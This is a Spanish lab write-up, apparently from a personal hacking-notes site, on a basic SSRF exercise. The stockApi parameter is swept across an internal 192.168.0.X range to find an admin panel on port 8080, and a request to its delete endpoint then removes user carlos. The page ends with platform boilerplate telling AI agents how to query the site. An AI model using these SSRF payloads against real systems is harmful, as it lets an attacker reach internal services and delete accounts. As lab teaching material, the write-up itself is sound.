> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/basic-ssrf-against-internal-system.md).

# SSRF básico contra un sistema interno

## SSRF básico contra otro sistema de back-end

Este laboratorio ofrece una función de verificación de stock que consulta un servicio interno. / El objetivo es usar este mecanismo para analizar el rango interno **192.168.0.X** buscando una interfaz de administración en el puerto **8080**, luego elimina al usuario carlos.

#### **Análisis y explotación**

* El **stockApi** el parámetro se envía a **Intruder** para automatizar la prueba de la dirección interna:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/ff052bb1677c327caf8ce94e750d7541c5f104e3" alt=""><figcaption></figcaption></figure>

Se lleva a cabo un ataque de fuerza bruta sobre las **254 direcciones posibles** del rango interno, todas con la ruta /admin.

Se descarga un diccionario de valores para impulsar el ataque:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Después de lanzar el ataque, la **192.168.0.14** dirección devuelve un \*\*código HTTP 200\*\*, lo que indica que la interfaz de administración es accesible.

<figure><img src="/files/ec99baacf3c56ab35989406412d051592f842f5a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aef008582bcc6fe4a1b7fa9b570b4d388763227f" alt="" width="563"><figcaption></figcaption></figure>

#### **Eliminación del usuario**

* Acceso al panel de administración:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/43c117803d7a1f887432aa624e6b444233236694" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
